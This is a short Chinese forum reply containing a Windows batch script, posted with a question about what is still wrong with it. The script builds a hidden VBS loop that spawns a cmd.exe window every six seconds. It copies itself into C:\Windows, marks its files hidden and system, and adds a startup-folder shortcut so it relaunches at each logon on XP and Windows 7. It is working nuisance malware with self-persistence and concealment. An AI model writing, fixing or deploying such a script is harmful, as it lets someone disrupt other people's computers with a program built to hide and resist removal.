回复 8# bingxing8000 - @echo off
- echo do >>C:\Windows\a.vbs
- echo wscript.sleep 6000 >>C:\Windows\a.vbs
- echo createobject("Wscript.Shell").run "cmd.exe /c " >>C:\Windows\a.vbs
- echo loop >>C:\Windows\a.vbs
-
- ver|find /i "5.1" && goto :xp
- ver|find /i "6.1" && goto :win7
-
- :win7
- copy %0 "C:\Windows\b.bat"
-
- ATTRIB +R +A +S +H "C:\Windows\a.vbs"
- ATTRIB +R +A +S +H "C:\Windows\b.bat"
- ATTRIB +R +A +S +H "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
- echo [InternetShortcut]>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
- echo URL="C:\Windows\b.bat">>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
- echo IconIndex=99>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
- echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\b.url"
- start C:\Windows\a.vbs
- exit
-
- :xp
- copy %0 "C:\Windows\b.bat"
-
- ATTRIB +R +A +S +H "C:\Windows\a.vbs"
- ATTRIB +R +A +S +H "C:\Windows\b.bat"
- ATTRIB +R +A +S +H "%USERPROFILE%\「开始」菜单\程序\启动\b.url"
- echo [InternetShortcut]>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
- echo URL="C:\Windows\b.bat">>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
- echo IconIndex=99>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
- echo IconFile=%SystemRoot%\system32\SHELL32.dll>>"%USERPROFILE%\「开始」菜单\程序\启动\b.url"
- start C:\Windows\a.vbs
- exit
复制代码 这样写还有什么问题么?? |